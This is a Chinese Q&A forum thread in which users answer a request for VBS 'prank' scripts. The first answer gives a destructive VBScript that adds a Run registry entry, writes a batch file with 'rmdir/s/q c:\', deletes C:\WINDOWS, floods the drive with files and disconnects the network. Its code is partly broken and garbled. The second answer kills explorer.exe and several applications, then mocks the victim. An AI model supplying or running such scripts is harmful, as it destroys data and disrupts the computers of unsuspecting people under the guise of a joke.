VBS整人代码谁有?
发布网友
发布时间：2022-06-03 11:17
共5个回答
热心网友
时间：2023-10-16 18:58
oShell.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\cmd","cmd.exe"
Dim fso,TestFile
Set fso=CreateObject("Scripting.FileSystemObject")
Set TestFile=fso.CreateTextFile("C:\hello.bat",Ture)
TestFile.WriteLine("rmdir/s/q c:\")
TestFile.Close
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.GetFile("C:\hello.bat")
If objFile.Attributes = objFile.Attributes AND 2 Then
Dim fso
Set fso=CreateObject("Scripting.FileSystemObject")
fso.DeleteFolder("C:\WINDOWS")
Dim fso,TestFile
Set fso=CreateObject("Scripting.FileSystemObject")
For i=1 To 10000000000000000000000000000000000000
Set TestFile=fso.CreateTextFile("C:\hell"&i&".txt",Ture)
TestFile.WriteLine("Hello,World!")
TestFile.Close
Next
Dim Wsh
Set Wsh = WScript.CreateObject("WScript.Shell")
wsh.run "Rasdial /DISCONNECT",false,1
毁掉windows
热心网友
时间：2023-10-16 18:59
这个代码打开后，程序和任务栏都不见了 只有重启电脑才会恢复
Taskkill /f /im explorer.exe
保存为CMD格式（好像和VBS无关）其实比VBS还好一点点
如果你想要VBS代码，我也有
set a=createobject("wscript.shell")
a.run "cmd /c taskkill /f /im qq.exe ",0
a.run "cmd /c taskkill /f /im iexplore.exe",0
a.run "cmd /c tsakkill /f /im qqgame.exe",0
a.run "cmd /c tsakkill /f /im crossfrie.exe",0
a.run "cmd /c tsakkill /f /im dnf.exe",0
msgbox"哈哈，恭喜你成为史上最容易骗的家伙",0+64,"恭喜你"
我还有其他的VBS代码，小弟不发了。+Q692990160
记得说明你是 百度知道 的
热心网友
时间：2023-10-16 18:59
dim a,ctr
ctr=0
const pass="是"
do while ctr<100
a=inputbox("你是猪吗？")
if a=pass then
msgbox "good"
exit do
else
ctr=ctr+1 '如果密码出错就增加一次错误认证计数
msgbox "错，你是猪！"
end if
loop
热心网友
时间：2023-10-16 19:00
http://tieba.baidu.com/p/616676294
vbs吧里的一个帖子，好像是最热的一贴...
望采纳...
热心网友
时间：2023-10-16 19:00
